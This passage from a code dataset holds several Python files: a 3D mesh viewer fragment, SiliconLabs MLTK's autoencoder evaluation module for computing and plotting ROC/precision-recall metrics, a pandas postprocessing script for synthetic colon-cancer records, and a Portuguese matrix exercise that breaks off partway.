meshes from repository if we don't have them already \nif not path.exists(fn_mainBody):\n response = wget.download(urlPath + fn_mainBody)\n \nif not path.exists(fn_topRotor): \n response = wget.download(urlPath + fn_topRotor)\n \nif not path.exists(fn_tailRotor): \n response = wget.download(urlPath + fn_tailRotor)\n \n\n# Read mesh files of each part, and color-label them\nmainBodyMesh = Mesh(fn_mainBody).c(\"white\")\ntopRotorMesh = Mesh(fn_topRotor).c(\"red\")\ntailRotorMesh = Mesh(fn_tailRotor).c(\"blue\")\n\n# Show everything \nplt = show([mainBodyMesh, topRotorMesh, tailRotorMesh], __doc__, bg='black', bg2='bb', interactive=True, axes=1, viewup='z')\n\nplt.close()\n\n","repo_name":"eraldoribeiro/changeOfCoordinates","sub_path":"displayAllParts.py","file_name":"displayAllParts.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"6596412201","text":"\nfrom typing import List, Tuple\nimport logging\nimport os\nimport json\n\nimport numpy as np\nimport tensorflow as tf\nimport sklearn\n\nimport matplotlib.pyplot as plt\nfrom mltk.utils import gpu\nfrom mltk.utils.python import prepend_exception_msg\nfrom .model import (\n MltkModel,\n KerasModel,\n TrainMixin,\n DatasetMixin,\n EvaluateAutoEncoderMixin,\n load_tflite_or_keras_model\n)\nfrom .utils import get_mltk_logger\nfrom .summarize_model import summarize_model\nfrom .evaluation_results import EvaluationResults\n\n\nclass AutoEncoderEvaluationResults(EvaluationResults):\n \"\"\"Auto-encoder evaluation results\n\n .. seealso::\n\n - :py:func:`~evaluate_autoencoder`\n - :py:func:`mltk.core.evaluate_model`\n\n \"\"\"\n def __init__(self, *args, **kwargs):\n EvaluationResults.__init__(self, *args, model_type='auto_encoder', **kwargs)\n\n @property\n def classes(self) -> List[str]:\n \"\"\"List of class labels used by evaluated model\"\"\"\n return self['classes']\n\n @property\n def overall_accuracy(self) -> float:\n \"\"\"The overall, model accuracy\"\"\"\n return self['overall_accuracy']\n\n @property\n def overall_precision(self) -> List[float]:\n \"\"\"The overall, model precision as various thresholds\"\"\"\n return self['overall_precision']\n\n @property\n def overall_recall(self) -> List[float]:\n \"\"\"The overall, model recall at various thresholds\"\"\"\n return self['overall_recall']\n\n @property\n def overall_pr_accuracy(self) -> float:\n \"\"\"The overall, precision vs recall\"\"\"\n return self['overall_pr_accuracy']\n\n\n @property\n def overall_tpr(self) -> List[float]:\n \"\"\"The overall, true positive rate at various thresholds\"\"\"\n return self['overall_tpr']\n\n @property\n def overall_fpr(self) -> List[float]:\n \"\"\"The overall, false positive rate at various thresholds\"\"\"\n return self['overall_fpr']\n\n @property\n def overall_roc_auc(self) -> List[float]:\n \"\"\"The overall, area under curve of the receiver operating characteristic\"\"\"\n return self['overall_roc_auc']\n\n @property\n def overall_thresholds(self) -> List[float]:\n \"\"\"List of thresholds used to calcuate overall stats\"\"\"\n return self['overall_thresholds']\n\n @property\n def class_stats(self) -> dict:\n \"\"\"Dictionary of per class statistics\"\"\"\n return self['class_stats']\n\n\n def calculate(\n self,\n y:np.ndarray,\n y_pred:np.ndarray,\n all_scores: np.ndarray,\n thresholds: List[float] = None\n ):\n \"\"\"Calculate the evaluation results\n\n Given the list of expected values and corresponding predicted values with scores,\n calculate the evaluation metrics.\n\n Args:\n y: 1D array of expected class ids\n y_pred: 1D array of scoring results, e.g. y_pred[i] = scoring_function(x[i], y[i])\n all_scores: 2D [n_samples, n_classes] of scores comparing the input vs auto-encoder generated out for each class type (normal, and all abnormal cases)\n thresholds: Optional, list of thresholds to use for calculating the TPR, FPR and AUC\n \"\"\"\n\n if thresholds is None:\n thresholds = [x for x in np.amin(y_pred) + np.arange(0.0, 1.01, .01)*(np.amax(y_pred)-np.amin(y_pred))]\n\n self['all_scores'] = all_scores\n self['thresholds'] = thresholds\n self['overall_accuracy'] = calculate_overall_accuracy(y_pred, y)\n self['overall_precision'], self['overall_recall'], self['overall_pr_accuracy'] = calculate_overall_pr_accuracy(thresholds, y_pred, y)\n self['overall_tpr'], self['overall_fpr'], self['overall_roc_auc'] = calculate_overall_roc_auc(thresholds, y_pred, y)\n self['class_stats'] = calculate_class_stats(all_scores, self['classes'])\n\n\n def generate_summary(self) -> str:\n \"\"\"Generate and return a summary of the results as a string\"\"\"\n s = super().generate_summary(include_all=False)\n return s + '\\n' + summarize_results(self)\n\n def generate_plots(\n self,\n show=True,\n output_dir:str=None,\n logger: logging.Logger=None\n ):\n \"\"\"Generate plots of the evaluation results\n\n Args:\n show: Display the generated plots\n output_dir: Generate the plots at the specified directory. If omitted, generated in the model's logging directory\n logger: Optional logger\n \"\"\"\n plot_results(\n self,\n logger=logger,\n output_dir=output_dir,\n show=show\n )\n\n\n\ndef evaluate_autoencoder(\n mltk_model:MltkModel,\n tflite:bool=False,\n weights:str=None,\n max_samples_per_class:int=-1,\n classes:List[str]=None,\n dump: bool=False,\n verbose: bool=None,\n show: bool=False,\n callbacks:list=None,\n update_archive:bool=True\n) -> AutoEncoderEvaluationResults:\n \"\"\"Evaluate a trained auto-encoder model\n\n Args:\n mltk_model: MltkModel instance\n tflite: If true then evalute the .tflite (i.e. quantized) model, otherwise evaluate the keras model\n weights: Optional weights to load before evaluating (only valid for a keras model)\n max_samples_per_class: Maximum number of samples per class to evaluate. This is useful for large datasets\n classes: Specific classes to evaluate, if omitted, use the one defined in the given MltkModel, i.e. model specification\n dump: If true, dump the model output of each sample with a side-by-side comparsion to the input sample\n verbose: Enable verbose log messages\n show: Show the evaluation results diagrams\n callbacks: Optional callbacks to invoke while evaluating\n update_archive: Update the model archive with the eval results\n\n Returns:\n Dictionary containing evaluation results\n \"\"\"\n\n if not isinstance(mltk_model, TrainMixin):\n raise Exception('MltkModel must inherit TrainMixin')\n if not isinstance(mltk_model, EvaluateAutoEncoderMixin):\n raise Exception('MltkModel must inherit EvaluateAutoEncoderMixin')\n if not isinstance(mltk_model, DatasetMixin):\n raise Exception('MltkModel must inherit a DatasetMixin')\n\n subdir = 'eval/tflite' if tflite else 'eval/h5'\n eval_dir = mltk_model.create_log_dir(subdir, delete_existing=True)\n dump_dir = mltk_model.create_log_dir(f'{subdir}/dumps')\n logger = mltk_model.create_logger('eval', parent=get_mltk_logger())\n\n gpu.initialize(logger=logger)\n if update_archive:\n update_archive = mltk_model.check_archive_file_is_writable()\n\n scoring_function = mltk_model.get_scoring_function()\n classes = classes or mltk_model.eval_classes\n\n # Build the MLTK model's corresponding as a Keras model or .tflite\n try:\n built_model = load_tflite_or_keras_model(\n mltk_model,\n model_type='tflite' if tflite else 'h5',\n weights=weights\n )\n except Exception as e:\n prepend_exception_msg(e, 'Failed to build model')\n raise\n\n try:\n summary = summarize_model(\n mltk_model,\n built_model=built_model\n )\n logger.info(summary)\n except Exception as e:\n logger.debug(f'Failed to generate model summary, err: {e}', exc_info=e)\n logger.warning(f'Failed to generate model summary, err: {e}')\n\n logger.info('Evaluating auto-encoder model ...')\n\n\n\n all_scores = []\n for class_label in classes:\n logger.info(f'Loading dataset for class: {class_label}')\n\n try:\n mltk_model.load_dataset(\n subset='evaluation',\n max_samples_per_class=max_samples_per_class,\n classes=[class_label],\n logger=logger,\n test=mltk_model.test_mode_enabled\n )\n except Exception as e:\n prepend_exception_msg(e, 'Failed to load model evaluation dataset' )\n raise\n\n eval_data = _retrieve_data(mltk_model.x)\n\n logger.info(f'Generating model predictions for {class_label} class ...')\n if isinstance(built_model, KerasModel):\n y_pred = built_model.predict(\n x = eval_data,\n callbacks=callbacks,\n verbose=1 if verbose else 0,\n )\n else:\n y_pred = built_model.predict(x = eval_data, y_dtype=np.float32)\n\n # loop over all original images and their corresponding reconstructions\n class_scores = np.empty((len(eval_data),), dtype=np.float32)\n dump_count = 0\n for i, (orig, decoded) in enumerate(zip(eval_data, y_pred)):\n try:\n class_scores[i] = scoring_function(orig, decoded)\n except Exception as e:\n prepend_exception_msg(e, 'Error executing scoring function')\n raise\n\n if dump and dump_count < 200: # Don't dump more than 200 samples\n dump_count += 1\n dump_path = f'{dump_dir}/{class_label}/{i}.png'\n _save_decoded_image(dump_path, orig, decoded, class_scores[i])\n\n all_scores.append(class_scores)\n\n mltk_model.unload_dataset()\n\n if dump:\n logger.info(f'Decoded comparisons available at {dump_dir}')\n\n\n normal_pred = all_scores[0]\n for i in range(1, len(all_scores)):\n abnormal_scores = all_scores[i]\n y_pred = np.append(normal_pred, abnormal_scores)\n y_true = np.append(np.zeros_like(normal_pred), np.ones_like(abnormal_scores))\n\n results = AutoEncoderEvaluationResults(\n name= mltk_model.name,\n classes=classes,\n )\n results.calculate(\n y = y_true,\n y_pred = y_pred,\n all_scores = all_scores\n )\n\n summarized_results = results.generate_summary()\n\n eval_results_path = f'{eval_dir}/eval-results.json'\n with open(eval_results_path, 'w') as f:\n json.dump(results, f, default=_encode_ndarray)\n logger.debug(f'Generated {eval_results_path}')\n\n summary_path = f'{eval_dir}/summary.txt'\n with open(summary_path, 'w') as f:\n f.write(summarized_results)\n logger.debug(f'Generated {summary_path}')\n\n results.generate_plots(\n logger=logger,\n output_dir=eval_dir,\n show=show\n )\n\n if update_archive:\n try:\n logger.info(f'Updating {mltk_model.archive_path}')\n mltk_model.add_archive_dir(subdir)\n except Exception as e:\n logger.warning(f'Failed to add eval results to model archive, err: {e}', exc_info=e)\n\n logger.close() # close the eval logger\n\n if show:\n plt.show(block=True)\n\n return results\n\n\n\n\n\ndef summarize_results(results: AutoEncoderEvaluationResults) -> str:\n \"\"\"Generate a summary of the evaluation results\"\"\"\n\n s = ''\n s += 'Overall accuracy: {:.3f}%\\n'.format(results['overall_accuracy'] * 100)\n s += 'Precision/recall accuracy: {:.3f}%\\n'.format(results['overall_pr_accuracy'] * 100)\n s += 'Overall ROC AUC: {:.3f}%\\n'.format(results['overall_roc_auc'] * 100)\n\n if len(results['class_stats']) > 1:\n s += 'Individual class ROC AUC:\\n'\n for class_label, stats in results['class_stats'].items():\n s += ' {}: {:.3f}%\\n'.format(class_label, stats['auc'] * 100)\n\n return s.strip()\n\n\n\ndef plot_results(results:AutoEncoderEvaluationResults, show=False, output_dir:str=None, logger: logging.Logger=None):\n \"\"\"Use Matlibplot to generate plots of the evaluation results\"\"\"\n\n plot_overall_roc(results, output_dir=output_dir, show=show, logger=logger)\n plot_overall_precision_vs_recall(results, output_dir=output_dir, show=show, logger=logger)\n plot_histogram(results, output_dir=output_dir, show=show, logger=logger)\n plot_class_roc(results, output_dir=output_dir, show=show, logger=logger)\n\n if show:\n plt.show(block=True)\n\n\n\n\ndef calculate_overall_accuracy(y_pred, y_true) -> float:\n \"\"\" Classifier overall accuracy calculation\n y_pred contains the outputs of the network for the validation data\n y_true are the correct answers (0.0 for normal, 1.0 for anomaly)\n \"\"\"\n thresholds = np.amin(y_pred) + np.arange(0.0, 1.0, .01)*(np.amax(y_pred)-np.amin(y_pred))\n accuracy = 0.0\n\n for threshold in thresholds:\n y_pred_binary = (y_pred > threshold).astype(int)\n correct = np.sum(y_pred_binary == y_true)\n accuracy_tmp = correct / len(y_pred_binary)\n if accuracy_tmp > accuracy:\n accuracy = accuracy_tmp\n\n return accuracy\n\n\ndef calculate_overall_pr_accuracy(thresholds, y_pred, y_true) -> Tuple[List[float], List[float], float]:\n \"\"\"Classifier overall accuracy calculation\n y_pred contains the outputs of the network for the validation data\n y_true are the correct answers (0.0 for normal, 1.0 for anomaly)\n this is the function that should be used for accuracy calculations\n \"\"\"\n # initialize all arrays\n accuracy = 0\n n_normal = np.sum(y_true == 0)\n precision = [0.0 for _ in range(len(thresholds))]\n recall = [0.0 for _ in range(len(thresholds))]\n\n # Loop on all the threshold values\n for threshold_item in range(len(thresholds)):\n threshold = thresholds[threshold_item]\n # Binarize the result\n y_pred_binary = (y_pred > threshold).astype(int)\n # Build matrix of TP, TN, FP and FN\n #true_negative = np.sum((y_pred_binary[0:n_normal] == 0))\n false_positive = np.sum((y_pred_binary[0:n_normal] == 1))\n true_positive = np.sum((y_pred_binary[n_normal:] == 1))\n false_negative = np.sum((y_pred_binary[n_normal:] == 0))\n # Calculate and store precision and recall\n precision[threshold_item] = true_positive / max(true_positive+false_positive, 1e-9)\n recall[threshold_item] = true_positive / max(true_positive+false_negative, 1e-9)\n # See if the accuracy has improved\n accuracy_tmp = (precision[threshold_item]+recall[threshold_item]) / 2\n if accuracy_tmp > accuracy:\n accuracy = accuracy_tmp\n\n return precision, recall, accuracy\n\n\ndef calculate_overall_roc_auc(thresholds, y_pred, y_true) -> Tuple[List[float], List[float], float]:\n \"\"\"Autoencoder ROC AUC calculation\n y_pred contains the outputs of the network for the validation data\n y_true are the correct answers (0.0 for normal, 1.0 for anomaly)\n this is the function that should be used for accuracy calculations\n \"\"\"\n # initialize all arrays\n roc_auc = 0\n\n n_normal = np.sum(y_true == 0)\n tpr = [0.0 for _ in range(len(thresholds))]\n fpr = [0.0 for _ in range(len(thresholds))]\n\n # Loop on all the threshold values\n for threshold_item in range(1,len(thresholds)):\n threshold = thresholds[threshold_item]\n # Binarize the result\n y_pred_binary = (y_pred > threshold).astype(int)\n # Build TP and FP\n tpr[threshold_item] = np.sum((y_pred_binary[n_normal:] == 1))/float(len(y_true)-n_normal)\n fpr[threshold_item] = np.sum((y_pred_binary[0:n_normal] == 1))/float(n_normal)\n\n # Force boundary condition\n fpr[0] = 1\n tpr[0] = 1\n\n # Integrate\n for threshold_item in range(len(thresholds)-1):\n roc_auc += .5*(tpr[threshold_item]+tpr[threshold_item+1])*(fpr[threshold_item]-fpr[threshold_item+1])\n\n return tpr, fpr, roc_auc\n\n\ndef calculate_class_stats(all_scores, classes) -> dict:\n \"\"\"Calculate stats for individual stats of each class\"\"\"\n from sklearn.metrics import (precision_recall_curve, roc_curve, auc) # pylint: disable=import-outside-toplevel\n\n stats = {}\n normal_pred = all_scores[0]\n total_scores = len(normal_pred)\n for i in range(1, len(all_scores)):\n abnormal_scores = all_scores[i]\n total_scores += len(abnormal_scores)\n y_pred = np.append(normal_pred, abnormal_scores)\n y_true = np.append(np.zeros_like(normal_pred), np.ones_like(abnormal_scores))\n\n fpr, tpr, thr = roc_curve(y_true, y_pred)\n roc_auc = auc(fpr, tpr)\n precision, recall, _ = precision_recall_curve(y_true, y_pred)\n\n stats[classes[i]] = \\\n {\n 'fpr': fpr,\n 'tpr': tpr,\n 'thr': thr,\n 'auc': roc_auc,\n 'precision': precision,\n 'recall': recall\n }\n\n # If more than 2 classes were provided then generate a stat for:\n # normal + \n if len(classes) > 2:\n y_pred = np.empty((total_scores,), dtype=np.float32)\n y_true = np.empty((total_scores,), dtype=np.int32)\n offset = 0\n for i, class_scores in enumerate(all_scores):\n n_samples = len(class_scores)\n y_pred[offset : offset + n_samples] = class_scores\n if i == 0:\n y_true[offset : offset + n_samples] = np.zeros_like(class_scores)\n else:\n y_true[offset : offset + n_samples] = np.ones_like(class_scores)\n\n offset += n_samples\n\n fpr, tpr, thr = roc_curve(y_true, y_pred)\n roc_auc = auc(fpr, tpr)\n precision, recall, _ = precision_recall_curve(y_true, y_pred)\n stats['all'] = \\\n {\n 'fpr': fpr,\n 'tpr': tpr,\n 'thr': thr,\n 'auc': roc_auc,\n 'precision': precision,\n 'recall': recall\n }\n\n return stats\n\n\ndef plot_overall_roc(results, output_dir:str, show:bool, logger: logging.Logger):\n \"\"\"Generate a plot of the AUC ROC evaluation results\"\"\"\n name = results['name']\n\n fpr = results['overall_fpr']\n tpr = results['overall_tpr']\n roc_auc = results['overall_roc_auc']\n\n title = f'Overall ROC: {name}'\n fig = plt.figure(title)\n plt.plot(fpr, tpr, label=f\"auc: {roc_auc:0.3f}\")\n\n plt.xlim([0.0, 0.1])\n plt.ylim([0.00, 1.01])\n plt.legend(loc=\"lower right\")\n plt.xlabel('False Positive Rate')\n plt.ylabel('True Positive Rate')\n plt.title(title)\n plt.grid(which='major')\n\n if output_dir:\n output_path = output_dir + f'/{name}-overall_roc.png'\n plt.savefig(output_path)\n logger.debug(f'Generated {output_path}')\n\n if show:\n plt.show(block=False)\n else:\n fig.clear()\n plt.close(fig)\n\n\n\ndef plot_overall_precision_vs_recall(results: dict, output_dir:str, show, logger: logging.Logger):\n \"\"\"Generate a plot of the precision vs recall\"\"\"\n\n name = results['name']\n precision = results['overall_precision']\n recall = results['overall_recall']\n\n title = f'Precision vs Recall: {name}'\n fig = plt.figure(title)\n\n plt.plot(recall, precision)\n\n plt.xlim([0.0, 1.0])\n plt.ylim([0.0, 1.01])\n plt.xlabel('Recall')\n plt.ylabel('Precision')\n plt.title(title)\n plt.grid()\n\n if output_dir:\n output_path = output_dir + f'/{name}-overall_precision_vs_recall.png'\n plt.savefig(output_path)\n logger.debug(f'Generated {output_dir}')\n\n if show:\n plt.show(block=False)\n else:\n fig.clear()\n plt.close(fig)\n\n\ndef plot_histogram(results: dict, output_dir:str, show, logger: logging.Logger):\n \"\"\"Generate a historgram image diagram from the evaluation scores\"\"\"\n\n name = results['name']\n all_scores = results['all_scores']\n classes = results['classes']\n\n min_pred = 1e10\n max_pred = -1e10\n for scores in all_scores:\n if min(scores) < min_pred:\n min_pred = min(scores)\n if max(scores) > max_pred:\n max_pred = max(scores)\n\n fig, ax = plt.subplots(2,1,figsize=(10,5))\n plt.subplots_adjust(hspace=.4)\n\n ax[0].set_title('Loss')\n for i, class_scores in enumerate(all_scores):\n ax[0].plot(class_scores, label=classes[i])\n\n ax[0].set_xlabel('Sample index')\n ax[0].set_ylabel('Predicted value')\n ax[0].legend()\n ax[0].grid()\n\n ax[1].set_title('Histogram')\n kwargs = dict(histtype='stepfilled', alpha=0.5, density=True, range=[min_pred, max_pred], bins=100)\n for i, class_scores in enumerate(all_scores):\n ax[1].hist(class_scores,**kwargs, label=classes[i])\n\n ax[1].set_xlabel('Predicted value')\n ax[1].set_ylabel('Probability')\n ax[1].legend()\n\n if output_dir:\n output_path = output_dir + f'/{name}-histogram.png'\n plt.savefig(output_path)\n logger.debug(f'Generated {output_dir}')\n\n if show:\n plt.show(block=False)\n else:\n fig.clear()\n plt.close(fig)\n\n\n\ndef plot_class_roc(results:dict, output_dir:str, show, logger: logging.Logger):\n \"\"\"Generate a plot of the AUC ROC evaluation results\"\"\"\n name = results['name']\n classes = results['classes']\n class_stats = results['class_stats']\n\n fig, ax = plt.subplots(2,1,figsize=(10,10))\n\n ax[0].set_title(f'ROC: {name}')\n for class_label, stat in class_stats.items():\n auc = stat['auc']\n if len(classes) > 2:\n label=f'AUC {class_label}: {auc:0.4f}'\n else:\n label=f'AUC: {auc:0.4f}'\n ax[0].plot(stat['fpr'], stat['tpr'], label=label)\n\n ax[0].set_xlim([0.0, 1.0])\n ax[0].set_ylim([0.0, 1.01])\n ax[0].set_xlabel('False Positive Rate')\n ax[0].set_ylabel('True Positive Rate')\n ax[0].legend(loc=\"lower right\")\n ax[0].grid()\n\n ax[1].set_title('Precision vs Recall')\n for class_label, stat in class_stats.items():\n ax[1].plot(stat['recall'], stat['precision'], label=class_label)\n ax[1].set_xlim([0.0, 1.0])\n ax[1].set_ylim([0.0, 1.01])\n ax[1].set_xlabel('Recall')\n ax[1].set_ylabel('Precision')\n if len(classes) > 2:\n ax[1].legend()\n ax[1].grid()\n\n\n if output_dir:\n output_path = output_dir + f'/{name}-class_roc.png'\n plt.savefig(output_path)\n logger.debug(f'Generated {output_path}')\n if show:\n plt.show(block=False)\n else:\n fig.clear()\n plt.close(fig)\n\n\n\n\n\n\ndef _retrieve_data(x):\n if isinstance(x, np.ndarray):\n return x\n if isinstance(x, tf.Tensor):\n return x.numpy()\n\n data = []\n if hasattr(x, 'max_samples') and x.max_samples > 0:\n max_samples = x.max_samples\n elif hasattr(x, 'samples') and x.samples > 0:\n max_samples = x.samples\n else:\n max_samples = 10000\n\n for batch_x, _ in x:\n if len(data) >= max_samples:\n break\n for sample in batch_x:\n data.append(sample)\n if len(data) >= max_samples:\n break\n\n try:\n x.reset()\n except:\n pass\n\n return np.array(data)\n\n\ndef _save_decoded_image(out_path, orig, decoded, score):\n # pylint: disable=no-member\n try:\n from cv2 import cv2\n except:\n try:\n import cv2\n except:\n raise RuntimeError('Failed import cv2 Python package, try running: pip install opencv-python OR pip install silabs-mltk[full]')\n\n os.makedirs(os.path.dirname(out_path), exist_ok=True)\n\n shape = orig.shape\n if len(shape) == 1:\n plt.plot(orig, 'b')\n plt.plot(decoded, 'r')\n plt.fill_between(np.arange(shape[0]), decoded, orig, color='lightcoral')\n plt.legend(labels=[\"Input\", \"Reconstruction\", \"Error\"])\n plt.suptitle('Score: {:1.7f}'.format(abs(score)))\n plt.savefig(out_path)\n plt.clf()\n plt.close()\n\n elif len(shape) == 2 or len(shape) == 3:\n img1 = sklearn.preprocessing.minmax_scale(orig.ravel(), feature_range=(0,255)).reshape(shape)\n img2 = sklearn.preprocessing.minmax_scale(decoded.ravel(), feature_range=(0,255)).reshape(shape)\n\n\n # stack the original and reconstructed image side-by-side\n output = np.hstack([img1, img2])\n outputs = cv2.applyColorMap(output.astype(np.uint8), cv2.COLORMAP_HOT)\n scale_factor = 200 / outputs.shape[1]\n width = int(outputs.shape[1] * scale_factor)\n height = int(outputs.shape[0] * scale_factor)\n outputs = cv2.resize(outputs, (width, height), interpolation = cv2.INTER_AREA)\n outputs = cv2.putText(outputs,\n text='Score: {:1.7f}'.format(abs(score)),\n org=(1, 12),\n fontFace=cv2.FONT_HERSHEY_SIMPLEX,\n fontScale=.5,\n color=(0,255,0))\n cv2.imwrite(out_path, outputs)\n else:\n raise RuntimeError('Data shape not supported')\n\n\ndef _encode_ndarray(obj):\n if isinstance(obj, np.ndarray):\n return obj.tolist()\n\n raise TypeError(repr(object) + \" is not JSON serialized\")","repo_name":"SiliconLabs/mltk","sub_path":"mltk/core/evaluate_autoencoder.py","file_name":"evaluate_autoencoder.py","file_ext":"py","file_size_in_byte":24474,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"81"} +{"seq_id":"27599544668","text":"#%%\nimport pandas as pd\nimport numpy as np\nimport pickle\nimport os, sys\nfrom pathlib import Path\nimport argparse\n\nfrom requests import head\n\nPROJ_PATH = Path('/home/dogu86/colon_synthesis_2')\nsys.path.append(PROJ_PATH.joinpath('src').as_posix())\n\nfrom MyModule.utils import *\nconfig = load_config()\n\nPROJ_PATH = Path(config['path_config']['project_path'])\n\nINPUT_PATH = PROJ_PATH.joinpath('/mnt/synthetic_data/data/processed/2_restore/restore_to_db_form/D0')\nOUTPUT_PATH = PROJ_PATH.joinpath('/mnt/synthetic_data/data/processed/3_postprocess/')\n\nif not OUTPUT_PATH.exists() :\n OUTPUT_PATH.mkdir(parents=True)\n\nfile_name = \"CLRC_PT_BSNF\"\n\n# %%\ndef load_file_epsilon(epsilon):\n return read_file(INPUT_PATH, f'{file_name}_{epsilon}.pkl')\n\n\n#%%\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--epsilon', '--e', help=\"epsilon values\")\n args = parser.parse_args()\n#%%\n data = load_file_epsilon(args.epsilon)\n\n #data = data.dropna(subset=['OPRT_CLCN_OPRT_KIND_CD','OPRT_CURA_RSCT_CD'])\n\n #%%\n first_diag = data.groupby(['PT_SBST_NO','BSPT_FRST_DIAG_YMD'],as_index=False).TIME.min()\n\n #%%\n first_diag = first_diag.drop(columns =['BSPT_FRST_DIAG_YMD'])\n #%%\n first_diag = first_diag.rename(columns={'TIME':\"BSPT_FRST_DIAG_YMD\"})\n #%%\n data = data.drop(columns = ['TIME','BSPT_FRST_DIAG_YMD'])\n #%%\n data = data.drop_duplicates()\n data = data.merge(first_diag, on='PT_SBST_NO')\n\n data = data.dropna(subset=['BSPT_FRST_DIAG_CD','BSPT_IDGN_AGE'])\n\n #%%\n original_path = PROJ_PATH.joinpath(f'/mnt/synthetic_data/data/raw/{file_name}.xlsx')\n original_data = pd.read_excel(original_path)\n head = pd.read_excel(original_path, nrows = 0)\n #%%\n head\n\n #%%\n data['BSPT_BRYM'] = data['BSPT_FRST_DIAG_YMD'] - pd.to_timedelta(data['BSPT_IDGN_AGE']*365, 'days')\n\n dead = pd.read_excel(f'/mnt/synthetic_data/data/processed/3_postprocess/CLRC_DEAD_NFRM_{args.epsilon}.xlsx')\n dead['PT_SBST_NO'] = dead['PT_SBST_NO'].astype('str')\n dead = dead.rename(columns={'DEAD_YMD':\"BSPT_DEAD_YMD\"})\n\n data = pd.merge(data,dead[['PT_SBST_NO','BSPT_DEAD_YMD']],how='left',on='PT_SBST_NO')\n\n oprt = pd.read_excel(f'/mnt/synthetic_data/data/processed/3_postprocess/CLRC_OPRT_NFRM_{args.epsilon}.xlsx')\n oprt['PT_SBST_NO'] = oprt['PT_SBST_NO'].astype('str')\n oprt = oprt.drop_duplicates(subset='PT_SBST_NO')\n oprt = oprt.rename(columns={\"OPRT_YMD\":\"BSPT_FRST_OPRT_YMD\"})\n\n data = pd.merge(data,oprt[['PT_SBST_NO','BSPT_FRST_OPRT_YMD']],how='left',on='PT_SBST_NO')\n\n rdt = pd.read_excel(f'/mnt/synthetic_data/data/processed/3_postprocess/CLRC_TRTM_RD_{args.epsilon}.xlsx')\n rdt['PT_SBST_NO'] = rdt['PT_SBST_NO'].astype('str')\n rdt = rdt.rename(columns={\"RDT_STRT_YMD\":\"BSPT_FRST_RDT_STRT_YMD\"})\n\n data = pd.merge(data,rdt[['PT_SBST_NO','BSPT_FRST_RDT_STRT_YMD']],how='left',on='PT_SBST_NO')\n\n regn = pd.read_excel(f'/mnt/synthetic_data/data/processed/3_postprocess/CLRC_TRTM_CASB_{args.epsilon}.xlsx')\n regn['PT_SBST_NO'] = regn['PT_SBST_NO'].astype('str')\n\n regn_info = []\n for i in regn['PT_SBST_NO'].unique():\n start = regn[regn['CSTR_NT'] == 1].groupby(by='PT_SBST_NO').get_group(i)['CSTR_STRT_YMD'].iloc[0]\n end = regn[regn['CSTR_NT'] == 1].groupby(by='PT_SBST_NO').get_group(i)['CSTR_END_YMD'].iloc[-1]\n regn_info.append([i,start,end])\n \n regn_info_pd = pd.DataFrame(regn_info,columns=['PT_SBST_NO','CSTR_STRT_YMD','CSTR_END_YMD'])\n\n a = data.copy()\n #dead_ymd = pd.merge(a['PT_SBST_NO'],dead[['PT_SBST_NO','BSPT_DEAD_YMD']], on='PT_SBST_NO', how='left')['BSPT_DEAD_YMD']\n #oprt_ymd = pd.merge(a['PT_SBST_NO'],oprt[['PT_SBST_NO','OPRT_YMD']], on='PT_SBST_NO', how='left')['OPRT_YMD']\n #rdt_ymd = pd.merge(a['PT_SBST_NO'],rdt[['PT_SBST_NO','RDT_STRT_YMD']], on='PT_SBST_NO', how='left')['RDT_STRT_YMD']\n regn_strt_ymd = pd.merge(a['PT_SBST_NO'],regn_info_pd[['PT_SBST_NO','CSTR_STRT_YMD']], on='PT_SBST_NO', how='left')['CSTR_STRT_YMD']\n regn_end_ymd = pd.merge(a['PT_SBST_NO'],regn_info_pd[['PT_SBST_NO','CSTR_END_YMD']], on='PT_SBST_NO', how='left')['CSTR_END_YMD']\n\n data['BSPT_FRST_ANCN_TRTM_STRT_YMD'] = regn_strt_ymd\n data = pd.concat([head,data])\n\n data['CENTER_CD'] = 00000\n data['IRB_APRV_NO'] = '2-2222-02-22'\n data['CRTN_DT'] = '0200.0'\n data['OPRT_SEQ'] = 1\n\n data['PT_SBST_NO'] = data['PT_SBST_NO'].astype('str')\n\n def encode(x):\n if x == 'C18' :\n return 'colon'\n elif x == 'C19' :\n return \"rectosigmoid junction\"\n elif x == 'C20' :\n return \"rectum\"\n \n data['BSPT_FRST_DIAG_NM'] = data['BSPT_FRST_DIAG_CD']\n data['BSPT_FRST_DIAG_NM'] = data['BSPT_FRST_DIAG_CD'].apply(encode)\n\n data.to_excel(OUTPUT_PATH.joinpath(f'{file_name}_{args.epsilon}.xlsx'))\n\nif __name__ == \"__main__\":\n main()","repo_name":"DigitalHealthcareLab/23Synthetic_BN_LDP","sub_path":"colon_cancer/src/3_postprocess/postprocess_pt_bsnf.py","file_name":"postprocess_pt_bsnf.py","file_ext":"py","file_size_in_byte":4862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"31734184956","text":"#matriz tamanho customizado\nmatriz = []\nlinha = int(input(\"Informe quantia de linhas: \"))\ncoluna = int(input(\"Informe quantia de colunas: \"))\nprint()\nfor linha in range(0,linha):\n matriz.append([0]*coluna)\n\n#preencher matriz\nfor linha in range(0, len(matriz)):\n for coluna in range(0, len(matriz[linha])):\n valor = int(input(\"Valor da {}° coluna e {}° linha: \".format(coluna,linha)))\n matriz[linha][coluna] = valor\n valor = 0\nprint()\n#printar matriz\nfor linha in range(0, len(matriz)):\n for coluna in range(0, len(matriz[linha])):\n print(matriz[linha][coluna], \"\\t\", end=\"\")\n print()\n\n##somatoria de cada linha\n# soma = 0\n# for linha in range(0, len(matriz)):\n# for coluna in range(0, len(matriz[linha])):\n# soma = matriz[linha][coluna] + soma\n# print(\"Somatoria da {} linha: {}\".format(linha,soma))\n# soma = 0\n\n##somatoria de cada coluna\n# x = 0\n# soma = 0\n# for linha in range(0, len(matriz)):\n# for coluna in range(0, len(matriz[linha])):\n# soma = matriz[linha][x] + soma\n# x = x + 1\n# print(\"Somatoria da {} coluna: {}\".format(linha,soma))\n# soma = 0\n\n##maior valor de cada linha\n# maiorvalor = 0\n# for linha in range(0, len(matriz)):\n# for coluna in range(0, len(matriz[linha])):\n# if(matriz[linha][coluna] > maiorvalor):\n# maiorvalor = matriz[linha][coluna]\n# print(\"Maior valor da {} linha: {}\".format(linha,maiorvalor))\n# maiorvalor = 0\n\n##maior valor de cada 